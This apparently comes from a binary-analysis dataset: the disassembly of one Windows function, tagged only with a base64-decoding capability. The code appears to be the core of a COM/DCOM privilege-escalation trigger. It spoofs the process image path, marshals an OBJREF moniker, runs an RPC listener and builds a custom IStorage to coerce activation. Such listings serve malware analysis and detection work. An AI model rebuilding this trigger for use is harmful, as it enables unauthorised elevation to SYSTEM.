Function at 0x140002620
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov r15, qword [0x140026eb0]
mov r12, rcx
mov ecx, 0x2000
mov r13, rdx
call qword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov ecx, 0x2000
mov qword [rsp + 0x68], rax
call qword [sym.imp.ole32.dll_CoTaskMemAlloc]
movsd xmm0, qword [str.System]
lea rcx, str.ntdll.dll
mov esi, dword [0x140021fb0]
mov r14, rax
movzx edi, word [0x140021fb4]
xor eax, eax
mov dword [rsp + 0x58], eax
mov word [rbp - 0x38], ax
mov dword [rbp - 0x34], 0x2000
movsd qword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x30
lea r8, [rbp - 0x68]
mov rcx, rax
xor edx, edx
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
call rbx
xor edx, edx
lea rcx, [rbp - 0x10]
mov r8d, 0x208
call fcn.140004630
mov rax, qword [rbp - 0x60]
mov rcx, qword [rax + 0x20]
mov rbx, qword [rcx + 0x68]
movzx r8d, word [rcx + 0x60]
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.1400065e0
movsd xmm0, qword [rsp + 0x60]
xor ecx, ecx
movsd qword [rbx], xmm0
mov dword [rbx + 8], esi
mov word [rbx + 0xc], di
call qword [sym.imp.ole32.dll_CoInitialize]
xor esi, esi
mov dword [rbp - 0x80], 0xa
mov qword [rsp + 0x40], rsi
lea rax, [rbp - 0x38]
mov dword [rsp + 0x38], 0x40
lea r8, [rbp - 0x80]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 3
lea edx, [rsi + 1]
xor ecx, ecx
mov dword [rsp + 0x20], 2
mov qword [rbp - 0x78], rax
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
mov rax, qword [rbp - 0x60]
lea rdx, [rbp - 0x10]
mov rcx, qword [rax + 0x20]
movzx r8d, word [rcx + 0x60]
mov rcx, qword [rcx + 0x68]
call fcn.1400065e0
lea rax, vtable.IUnknownObj.0
mov dword [rbp - 0x28], 1
mov qword [rbp - 0x30], rax
lea rcx, [rbp - 0x30]
mov rax, qword [0x140021a58]
lea rdi, [rbp - 0x30]
call rax
lea rdx, [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.ole32.dll_CreateObjrefMoniker]
test eax, eax
jne 0x1400029e7
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateBindCtx]
mov rcx, qword [rsp + 0x78]
lea r9, [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0xa0]
mov rcx, qword [rsp + 0x68]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
cmp word [rcx + rax*2 + 2], si
lea rax, [rax + 1]
jne 0x140002800
lea rdx, [rbp - 0x34]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
add rcx, 0xe
mov qword [rsp + 0x20], rdx
mov r9, r14
lea edx, [rax - 8]
mov r8d, 1
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
test eax, eax
je 0x140002a00
mov rax, qword [r14 + 0x20]
lea rcx, str.ncacn_ip_tcp
mov qword [0x140026ec8], rax
xor r9d, r9d
mov rax, qword [r14 + 0x28]
mov r8, r13
mov qword [0x140026ec0], rax
movups xmm0, xmmword [r14 + 0x30]
lea edx, [r9 + 0xa]
movups xmmword [0x140026ed0], xmm0
call qword [sym.imp.RPCRT4.dll_RpcServerUseProtseqEpW]
test eax, eax
jne 0x140002a1f
xor r9d, r9d
lea edx, [rax + 0xa]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.RPCRT4.dll_RpcServerRegisterAuthInfoW]
lea r8, [rsp + 0x58]
mov qword [rsp + 0x60], rsi
mov edx, 1
mov qword [rsp + 0x58], rsi
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateILockBytesOnHGlobal]
mov rcx, qword [rsp + 0x58]
lea r9, [rsp + 0x60]
xor r8d, r8d
mov edx, 0x1012
call qword [sym.imp.ole32.dll_StgCreateDocfileOnILockBytes]
mov ecx, 0x20
call fcn.140002f08
xorps xmm0, xmm0
mov qword [rsp + 0x50], rax
lea rdx, vtable.IStorageTrigger.1.0
movups xmmword [rax], xmm0
lea rbx, [rax + 8]
movups xmmword [rax + 0x10], xmm0
mov rcx, qword [rsp + 0x60]
mov qword [rax], rdx
lea rdx, vtable.IStorageTrigger.0
mov qword [rbx], rdx
lea rdx, [rbp - 0x20]
mov qword [rax + 0x10], rcx
mov rcx, r12
mov dword [rax + 0x18], 1
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea rax, [0x1400194e0]
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x80], rax
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x80]
mov dword [rbp - 0x70], esi
mov qword [rsp + 0x30], rax
mov r9d, 4
mov dword [rsp + 0x28], 1
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
cmp eax, 0x80080004
je 0x1400029cd
test r15, r15
je 0x140002967
mov edx, 0x3e8
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x70]
dec dword [rbp - 0x28]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x78]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, r14
call qword [sym.imp.ole32.dll_CoTaskMemFree]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140002d40
mov rbx, qword [rsp + 0x360]
add rsp, 0x310
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rdx, r12
lea rcx, str.____CLSID__S_not_found._Error_Bad_path_to_object._Exiting..._n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.14000bdb0
int3
mov edx, eax
lea rcx, str.____CreateObjrefMoniker_failed_with_HRESULT__d_n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.14000bdb0
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CryptStringToBinaryW_failed_with_error_code__d_n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.14000bdb0
int3
mov edx, eax
lea rcx, str.____RpcServerUseProtseqEp_failed_with_rpc_status_code__d_n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.14000bdb0
int3